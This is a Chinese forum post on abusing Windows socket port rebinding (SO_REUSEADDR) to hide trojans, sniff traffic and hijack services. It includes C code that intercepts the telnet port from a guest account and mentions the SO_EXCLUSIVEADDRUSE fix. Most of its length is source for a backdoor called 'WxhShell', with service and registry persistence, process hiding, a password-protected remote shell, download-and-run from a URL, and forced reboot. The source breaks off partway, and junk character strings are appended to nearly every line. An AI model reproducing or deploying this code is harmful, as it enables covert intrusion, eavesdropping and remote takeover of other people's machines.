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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: i/!KUbt  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q%]5/.J  
e~,+rM  
  saddr.sin_family = AF_INET; V!TGFo}  
opzlh@R 3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _o+OkvhU  
XMxm2-%olP  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); W4(  
f= }!c*l"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 **1=|aa:  
GlJOb|WOX  
  这意味着什么?意味着可以进行如下的攻击: Dd, &a  
0Am\02R.C,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 B_8JwMJu3  
y0) mBCX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) P~x4h{~Gd  
Zk|PQfi+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 M A%g-}  
H3iYE~^#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {S@, ,  
9>&p:+D  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &=T>($3r94  
'*&V7:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 h{jm  
W>b\O">  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 fti0Tz'  
_ KyhX|  
  #include KxFA@3  
  #include p-!/p#  
  #include o(D_ /]'8  
  #include    @|OGxQoC  
  DWORD WINAPI ClientThread(LPVOID lpParam);   L$,Kdpj  
  int main() cmd7-2  
  { W~l.feW$i  
  WORD wVersionRequested; #0^a-47PA<  
  DWORD ret; N?A}WW#  
  WSADATA wsaData; :r:x|[3.  
  BOOL val; C&EA@U5X^  
  SOCKADDR_IN saddr; lD# yXLaC\  
  SOCKADDR_IN scaddr; ~~p)_  
  int err; ir|L@Jj,  
  SOCKET s; 4Y G\<Zf  
  SOCKET sc; /:,}hy+U  
  int caddsize; !SLfAFcS  
  HANDLE mt; s~5rP:  
  DWORD tid;   P.^*K:5@  
  wVersionRequested = MAKEWORD( 2, 2 ); %_>8.7  
  err = WSAStartup( wVersionRequested, &wsaData ); b`;&o^7gMO  
  if ( err != 0 ) { g]?>6 %#rA  
  printf("error!WSAStartup failed!\n"); u:wf :^  
  return -1; <<@F{B7h  
  } /7.//klN  
  saddr.sin_family = AF_INET; XN3'k[  
   9%MgAik(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (&_~eYZU  
yVpru8+eD  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |a'$v4dCF  
  saddr.sin_port = htons(23); $HRl:KDdP~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =#{q#COK$  
  { :#N]s  
  printf("error!socket failed!\n"); 7o7FW=^  
  return -1; dn_l#$ U  
  } .8[uEQ_L  
  val = TRUE; I-Hg6WtB  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7Fzr\&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) j:^gmZ;J  
  { ezm*9Jc~p  
  printf("error!setsockopt failed!\n"); md/h\o&  
  return -1; 7$R^u7DZ  
  } 25W #mh,'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2';{o=TXV  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >I+p;V$@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7WNUHLEt  
Jr(Z Ym'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) TeJ=QpGW2  
  { ArT@BqWd  
  ret=GetLastError(); q$<VLrx  
  printf("error!bind failed!\n"); "5\6`\/  
  return -1; }/L#<n`Z  
  } nH+wU;M  
  listen(s,2); 8>I4e5Ym  
  while(1) od&wfwk(  
  { dI%Nwl%  
  caddsize = sizeof(scaddr); _.m|Ml,`{  
  //接受连接请求 D'UIxc8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [mG!-.ll  
  if(sc!=INVALID_SOCKET) :"K9(XKKU  
  { 2frwU~y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); | `?J2WGe  
  if(mt==NULL) @ykl:K%ke  
  { @$~;vS  
  printf("Thread Creat Failed!\n"); ~svea>Fmr  
  break; ?ihRt+eR~  
  } S++jwP  
  } d^5x@E_Td  
  CloseHandle(mt); mWMtz]M}  
  } 1>bNw-kz7  
  closesocket(s); *3fhVl=8^*  
  WSACleanup(); I 6L3M\+-  
  return 0; iBY16_q  
  }   ]#'& x%m  
  DWORD WINAPI ClientThread(LPVOID lpParam) ahN8IV=+Gm  
  { 8rLhOA  
  SOCKET ss = (SOCKET)lpParam; 6R#igLm  
  SOCKET sc; [z'jL'\4  
  unsigned char buf[4096]; AU8sU?=  
  SOCKADDR_IN saddr; 8/"C0I (G  
  long num; !~xlze   
  DWORD val; 9?sm-qP  
  DWORD ret; yQN^F+.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +Ur75YPh  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   X#fjIrn  
  saddr.sin_family = AF_INET; {_Fh3gjb/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ia[<;":U  
  saddr.sin_port = htons(23); mPo.Z"uy7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;O<-4$  
  { |[)pQGw  
  printf("error!socket failed!\n"); Uu9I;q!|  
  return -1; M'pIAm1p  
  } j.\0p-,  
  val = 100; {}H/N   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >H,E3Z  
  { vm =d?*cR  
  ret = GetLastError(); \9R=fA18  
  return -1; MG^YT%f  
  } FA%V>&;`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y#/P||PM  
  { E<@N4%K_Q  
  ret = GetLastError(); d@ ] N  
  return -1; [<wpH0lNoy  
  } Ieh<|O,-C  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z0|-OCmL  
  { Io{BO.K*Y  
  printf("error!socket connect failed!\n"); PE?ICou  
  closesocket(sc); CF : !  
  closesocket(ss); Zlrbd  
  return -1; DbYnd%k*4  
  } 5+q dn|9%T  
  while(1) TQQh:y  
  { _SMi`ie#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  I*n]8c  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Qve5qJ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 hG272s2  
  num = recv(ss,buf,4096,0); \:2z!\iP`  
  if(num>0) tY#Zl 54~{  
  send(sc,buf,num,0); `w)yR>lqh  
  else if(num==0) <s$Jj><  
  break; j_z@VT}y  
  num = recv(sc,buf,4096,0); E,Xl8rC  
  if(num>0) S.pXo'}  
  send(ss,buf,num,0); }-Jo9dNs  
  else if(num==0) B) dG:~  
  break; XQ8q)B=  
  } *aGJ$ P0  
  closesocket(ss); C(M?$s`  
  closesocket(sc); Z1] 4:  
  return 0 ; #];ulDq  
  } A f}o/g  
|<uBJ-5  
g@Rs.Zq  
========================================================== 7JBr{3;eS  
{e0(M*u  
下边附上一个代码,,WXhSHELL z|zEsDh;  
Q(4~r+  
==========================================================  %\~U>3Q  
. "7-f]!  
#include "stdafx.h" G9@5 !-  
tqjjn5!  
#include <stdio.h> 01NP  
#include <string.h> >4os%T  
#include <windows.h> ,V{Bpr  
#include <winsock2.h> '-3K`[  
#include <winsvc.h> "6v_<t`q"  
#include <urlmon.h> {`(MK6D8 c  
S>jOVWB  
#pragma comment (lib, "Ws2_32.lib") E%a&6W  
#pragma comment (lib, "urlmon.lib") Z/ L%?zH  
K#VGG,h7Y  
#define MAX_USER   100 // 最大客户端连接数 { _Y'%Ggh  
#define BUF_SOCK   200 // sock buffer \C{Zqo,  
#define KEY_BUFF   255 // 输入 buffer /)<kG(Z  
.kJu17!  
#define REBOOT     0   // 重启 &>G8DvfJ9  
#define SHUTDOWN   1   // 关机 J|VDZ# c7  
Y' 5X4Ks|  
#define DEF_PORT   5000 // 监听端口 ja(ZJ[<`  
r,Msg&rT  
#define REG_LEN     16   // 注册表键长度 [Mj5o<k;I  
#define SVC_LEN     80   // NT服务名长度 n(C M)(ozU  
b~(S;1NS'  
// 从dll定义API 5Fbb5`(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4JXJ0T ar  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <&bBE"U4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (0rcLNk{|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8G3.bi'q   
)}Cf6 m}  
// wxhshell配置信息 yw1Xxwc  
struct WSCFG { :)h4SD8Y  
  int ws_port;         // 监听端口 P/Y)Yx_(  
  char ws_passstr[REG_LEN]; // 口令 ac1(lD  
  int ws_autoins;       // 安装标记, 1=yes 0=no @q{.  
  char ws_regname[REG_LEN]; // 注册表键名 'ITZz n*  
  char ws_svcname[REG_LEN]; // 服务名 YdUcO.V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Mky^X,r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 - b`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BgY|v [M&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  '{cFr  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6rO^ p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^s$U n6v[  
==trl#kQ%%  
}; Cu<' b'%;  
k L4#  
// default Wxhshell configuration fJe5 i6`(  
struct WSCFG wscfg={DEF_PORT, WcpH= "vm  
    "xuhuanlingzhe", C'jCIL  
    1, C IRMAX  
    "Wxhshell", f 0~Z@\  
    "Wxhshell", 7e D` is  
            "WxhShell Service", n8D'fvY  
    "Wrsky Windows CmdShell Service", a.ijc>K  
    "Please Input Your Password: ", ;";>7k/}  
  1, j)Z0K$z=  
  "http://www.wrsky.com/wxhshell.exe", \gv-2.,  
  "Wxhshell.exe" )Lk2tvr  
    }; k?/!`   
dKL9}:oUa  
// 消息定义模块 z80*Ylx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /q/^B> ]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Kek %io  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tCGA3t  
char *msg_ws_ext="\n\rExit."; ?9?o8!  
char *msg_ws_end="\n\rQuit."; ;Rm';IW$  
char *msg_ws_boot="\n\rReboot..."; P]L%$!g  
char *msg_ws_poff="\n\rShutdown..."; $#wi2Ve=6b  
char *msg_ws_down="\n\rSave to "; O"_QDl<ya  
Lmw)Ts>  
char *msg_ws_err="\n\rErr!"; A{\DzUV9,  
char *msg_ws_ok="\n\rOK!"; [g{fz3 O6  
>)mF'w  
char ExeFile[MAX_PATH]; KvI/!hl\  
int nUser = 0; ^9YS dFH/  
HANDLE handles[MAX_USER]; ?DnQU"_$  
int OsIsNt; ;6?,Yhk$h  
>4HB~9dKU  
SERVICE_STATUS       serviceStatus; ]{I>HA5[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y{XNB}E  
*$/Go8t4u  
// 函数声明 $jBi~QqOf  
int Install(void); {xP-p"?p  
int Uninstall(void); =c]We:I  
int DownloadFile(char *sURL, SOCKET wsh); gLx?0eBBA  
int Boot(int flag); T>&dPVmG,  
void HideProc(void); u!fZ>kS  
int GetOsVer(void); 6.a>7-K}%  
int Wxhshell(SOCKET wsl); ^{NN-  
void TalkWithClient(void *cs); 0XE(vc!  
int CmdShell(SOCKET sock); .dvs&+I  
int StartFromService(void); R/6 v#9m7  
int StartWxhshell(LPSTR lpCmdLine); PAVlZ}kj  
+LF=oM<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "g(q)u >  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PI8ag  
h-o;vC9fC  
// 数据结构和表定义 YYvX@f  
SERVICE_TABLE_ENTRY DispatchTable[] = :JXcs39  
{ 0|4R8Dh*-  
{wscfg.ws_svcname, NTServiceMain}, ' |M} 3sL  
{NULL, NULL} :73T9/  
}; +RK/u  
F(,SnSam  
// 自我安装 jASK!3pY  
int Install(void) `G>|g^6%i  
{ g26 l:1P  
  char svExeFile[MAX_PATH]; 3;!a'[W&p  
  HKEY key; /N@NT/.M<  
  strcpy(svExeFile,ExeFile); mmMiA@0  
Yt r*"-  
// 如果是win9x系统,修改注册表设为自启动 MJK PpQ(,  
if(!OsIsNt) { 9mpQusM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [yRqSB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [y<s]C6E  
  RegCloseKey(key); <FN +  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ](IOn:MuDE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'n?"f|G  
  RegCloseKey(key); w}29#F\]R  
  return 0; HS1{4/  
    } kC'm |Y@T  
  } jank<Q&w  
} j\.e6&5%SS  
else { N0ZD+  
:rvBx"  
// 如果是NT以上系统,安装为系统服务 /&!o]fU1C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); TNcMrbWA  
if (schSCManager!=0) 9s*UJIL  
{ I."s&]FZ  
  SC_HANDLE schService = CreateService #EH\Q%  
  ( TI8E W  
  schSCManager, m^^#3*qa  
  wscfg.ws_svcname, ![Vrbe P  
  wscfg.ws_svcdisp, )P.,h&h/  
  SERVICE_ALL_ACCESS, ~Oi.bP<,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e JEcLK3u  
  SERVICE_AUTO_START, rj<-sfs  
  SERVICE_ERROR_NORMAL, <F| S<\Y.  
  svExeFile, *Ym+xu_5  
  NULL, -1R7 8(1  
  NULL, 2%]#rZ  
  NULL, `Cu9y+t  
  NULL, t4-0mNBZt$  
  NULL fY|vq amA;  
  ); o K&G  
  if (schService!=0) a$LoQ<f_  
  { TQ5kT?/{  
  CloseServiceHandle(schService); Q2!RFtXV  
  CloseServiceHandle(schSCManager); Q%t _Epe  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wJ7Fnj>u%  
  strcat(svExeFile,wscfg.ws_svcname); vLCm,Bb2L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 73!])!SVI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4_4|2L3  
  RegCloseKey(key); G2J4N2hu  
  return 0; I;mc:@R<  
    } Ej`G(  
  } RLDu5  
  CloseServiceHandle(schSCManager); B^x}=Z4  
} Fk?KR  
} w/7vXz<  
U,aMv[ZB  
return 1; mQtOx  
} NV`7VYU  
+ZRm1q   
// 自我卸载 o:Tpd 0F  
int Uninstall(void) McvLU+  
{ iyMoLZ5  
  HKEY key; JOki4N  
<Oj'0NK-  
if(!OsIsNt) { ?j} Fxr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9O:-q[K**  
  RegDeleteValue(key,wscfg.ws_regname); "+BuFhSLf  
  RegCloseKey(key); PC)V".W 1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BagV\\#v4  
  RegDeleteValue(key,wscfg.ws_regname); mpl^LF[  
  RegCloseKey(key); 1sfs!b&E  
  return 0; [wUJ ~~2#  
  } mS]soYTQ  
} {d,^tG}  
} Km0P)Z  
else { ;{g>Z|  
rrZ'Dz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v<?k$ e5  
if (schSCManager!=0) +#g4Crb  
{ PMiG:bM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sAP  YQ  
  if (schService!=0) e?dR'*-z  
  { t%Y}JKLR  
  if(DeleteService(schService)!=0) { .~4DlT  
  CloseServiceHandle(schService); 4rNuAK`2  
  CloseServiceHandle(schSCManager); 8;Df/ %  
  return 0; hx@E,  
  } @ds.)sKA>  
  CloseServiceHandle(schService); X""}]@B9z  
  } 6^nxw>-   
  CloseServiceHandle(schSCManager); bw[K^/  
}  ~&_BT`a  
} `I5So-^&z  
}4xz,oN  
return 1; $ 2k9gO  
} 4&E &{<;  
p,#**g:  
// 从指定url下载文件 2iWxx:e  
int DownloadFile(char *sURL, SOCKET wsh) g0RfvR  
{ Pv3 e*I((  
  HRESULT hr; [2zS@p  
char seps[]= "/"; W; ?'  
char *token; kL%o9=R1  
char *file; Hp3T2|uL  
char myURL[MAX_PATH]; |B@\Nf7  
char myFILE[MAX_PATH]; )<%IY&\  
b_oUG_B3]  
strcpy(myURL,sURL); {`[u XH?3d  
  token=strtok(myURL,seps); z)p p{  
  while(token!=NULL) {+|Em(M  
  { `~ R%}ID  
    file=token; j}$Q`7-wB1  
  token=strtok(NULL,seps); n )>nfnh  
  } EeS VY  
&?yVLft  
GetCurrentDirectory(MAX_PATH,myFILE); <ApzcyC  
strcat(myFILE, "\\"); _l](dqyuN(  
strcat(myFILE, file); n6 AP6PK7  
  send(wsh,myFILE,strlen(myFILE),0); b/'RJQSAc  
send(wsh,"...",3,0); C)0JcM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U~{sJwB  
  if(hr==S_OK) y Ide]  
return 0; wqf^n-Ze  
else Q 1e hW  
return 1; Kj*:G!r0.:  
%%k`+nK~  
} k&\ 6SK/  
E3o J;E  
// 系统电源模块 /'>#1J|TlK  
int Boot(int flag) '~kAsn*/  
{ dK?vg@|'  
  HANDLE hToken; 4krK CD>|G  
  TOKEN_PRIVILEGES tkp; NxQ+z^o\  
pL)o@-k#%  
  if(OsIsNt) { u6u1>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fk:oCPo  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q::6|B,G  
    tkp.PrivilegeCount = 1; F /% 5 r{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; twJ)h :!_y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?hwT{h  
if(flag==REBOOT) { '-m )fWf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GOhGSV#  
  return 0; F;_L/8Ov1  
} ?W4IAbT\G  
else { [#6Eax,j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^H UNq[sQ  
  return 0; X'h J&-[P  
} w>$2  
  } xQ7-4 N,  
  else { sDvtk]4o-4  
if(flag==REBOOT) { a).bk!G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9hIcnPu  
  return 0; ^3  '7  
} 4zM$I  
else { ?Wm.'S'to  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?-IjaDC}  
  return 0; 'X(G><R9  
} geRD2`3;  
} .I&]G  
_4jRUsvjY  
return 1; @I^LmB9*  
} <kr%ylhIu  
rwUKg[ 1N  
// win9x进程隐藏模块 DU/WB  
void HideProc(void) MH,vn</Uw  
{ @ \(*pa  
Dk XB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RwC1C(ZP  
  if ( hKernel != NULL ) e$+?l~  
  { Q(Dp116  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gLef6q{}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); { f@k2^  
    FreeLibrary(hKernel); s'/ g:aJ  
  } }+8w  
8}kY^"*&X  
return; Pe_iA_  
} A<zSh }eh6  
Vg)]F+E  
// 获取操作系统版本 RRGCO+)*  
int GetOsVer(void) `_{^&W WS  
{ 3+/{}rv  
  OSVERSIONINFO winfo; 0oFRcU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O67.DEu^  
  GetVersionEx(&winfo); vUXas*s4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <e 'S'  
  return 1; b^Xq(q>5  
  else ;nbUbRb  
  return 0; P]4C/UDS-~  
} BtN@P23>k.  
)wROPA\uA  
// 客户端句柄模块 MR@*09zP(?  
int Wxhshell(SOCKET wsl)  OBCRZ   
{ 4M&6q(389  
  SOCKET wsh; Ol9'ZB|R  
  struct sockaddr_in client; wtDy-H n  
  DWORD myID; ` qqUuFMM  
C=6Vd  
  while(nUser<MAX_USER) [p+6HF  
{ e!67Na0X(  
  int nSize=sizeof(client); p9[J 9D3~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); > T,^n {_v  
  if(wsh==INVALID_SOCKET) return 1; 0b0.xz\~U  
&?=UP4[oif  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W^Jh'^E  
if(handles[nUser]==0) 5};Nv{km^2  
  closesocket(wsh); )kSE5|:pi  
else b=!G3wVw<  
  nUser++; rQ^$)%uP  
  } p}j$p'D.RI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n)(E 0h  
sILkTzs w  
  return 0; S/? KC^JP  
} 2V0gj /&  
4|*H0}HOm  
// 关闭 socket MH+t`/E0]  
void CloseIt(SOCKET wsh) h-Q3q:  
{ , wT$L 3  
closesocket(wsh); 4%TY` II  
nUser--; ]C =+  
ExitThread(0); &xlz80%  
} *OT6)]|k  
-o\r]24  
// 客户端请求句柄  2L~[dn.s  
void TalkWithClient(void *cs) j"aimjqd3  
{ vt3yCS  
w6M EY"<L  
  SOCKET wsh=(SOCKET)cs; G(-1"7  
  char pwd[SVC_LEN]; *5bKJgwJ  
  char cmd[KEY_BUFF]; c[4  H  
char chr[1]; 777N0,o(  
int i,j; /XG4O  
iD)R*vnAi  
  while (nUser < MAX_USER) { U[1Ir92:  
oW*e6"<R7  
if(wscfg.ws_passstr) { jjgjeY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w1-/U+0o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -,t2D/xK  
  //ZeroMemory(pwd,KEY_BUFF); |@]`" k  
      i=0; HY.?? 5MH  
  while(i<SVC_LEN) { $\xS~ w  
iol.RszlZ|  
  // 设置超时 &y?L^Aq  
  fd_set FdRead; FTx&] QN?  
  struct timeval TimeOut; Y3+GBqP  
  FD_ZERO(&FdRead); jrGVC2*rD  
  FD_SET(wsh,&FdRead); 'OKDB7Ni  
  TimeOut.tv_sec=8; 5gV%jQgkC  
  TimeOut.tv_usec=0; |0vV?f$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UwuDs2 t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _VFxzM9f  
#\kYGr-G)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %Y"@VcN  
  pwd=chr[0]; [:geDk9O#'  
  if(chr[0]==0xd || chr[0]==0xa) { Dz4fP;n  
  pwd=0; IG?044Y  
  break; L3^WI( 8m  
  } DW ^E46k)A  
  i++;  SrPZ^NF  
    } LEoL6ga  
N`7) 88>w  
  // 如果是非法用户,关闭 socket FpjpsD~ Qu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); **L. !/  
} K~p\B  
d^"<Tz!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2<jbNnj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KXEDpr  
~U+SK4SK:o  
while(1) { tH0=ysf  
(^-i[aJY  
  ZeroMemory(cmd,KEY_BUFF); lPL>8.j  
FWNO/)~t  
      // 自动支持客户端 telnet标准   c!Gnd*!?-  
  j=0; c0v;r4Jo#j  
  while(j<KEY_BUFF) { Jrp{e("9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oR'8|~U@B  
  cmd[j]=chr[0]; Qo>V N`v  
  if(chr[0]==0xa || chr[0]==0xd) { q| p6UL9  
  cmd[j]=0; sM)n-Yy#9  
  break; E 9_aNYD  
  } xWX1P%`  
  j++; jX5lwP Q|F  
    } 0?3Ztdlb  
>'4Bq*5>  
  // 下载文件 %xE\IRlR  
  if(strstr(cmd,"http://")) { )v&r^DR_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b&BSigrvou  
  if(DownloadFile(cmd,wsh)) *Z*4L|zT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d5gYJ/Qv  
  else ?ic7M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^J3\ U{B  
  } qF m=(J%  
  else { 9s\;,!b  
N>?R,XM V  
    switch(cmd[0]) { lYkm1  
  *rPUVhD_  
  // 帮助 5a1)`2V2M  
  case '?': { iGmBG1a\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >'3J. FY  
    break; 1?\ #hemL  
  } gz6BfHQG  
  // 安装 3dG[dYj  
  case 'i': { ^a~^$PUqI  
    if(Install()) ~W'>L++  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wehZ7eqm  
    else "Gx(-NH+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f5jxF"oGNo  
    break; Q70LQCms  
    } %\8E{M:  
  // 卸载 x{IxS?.j+  
  case 'r': { (Hqy^EOZ  
    if(Uninstall()) V3&_ST  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _idTsd:\  
    else O-r,&W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FBpf_=(_1  
    break; Nq|b$S[4  
    } <$)F_R~T3  
  // 显示 wxhshell 所在路径 z mvF#o  
  case 'p': { .Ua|KKK C  
    char svExeFile[MAX_PATH]; )h-Qi#{  
    strcpy(svExeFile,"\n\r"); N:Yjz^Jt  
      strcat(svExeFile,ExeFile); {e4`D1B  
        send(wsh,svExeFile,strlen(svExeFile),0); :4]^PB@dl  
    break; J%c4-'l  
    } '1]Iu@?  
  // 重启 JiL%1y9|  
  case 'b': { aW-'Jg=@H^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Bi?+e~R  
    if(Boot(REBOOT)) Id3i qAL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CO!K[ q#  
    else { EAYx+zI  
    closesocket(wsh); IM:*uv  
    ExitThread(0); .[Ezg(U}ze  
    } .c~`{j}  
    break; Z'EX q.hk  
    } d6ZJh xJ  
  // 关机 _JZS;8WYR  
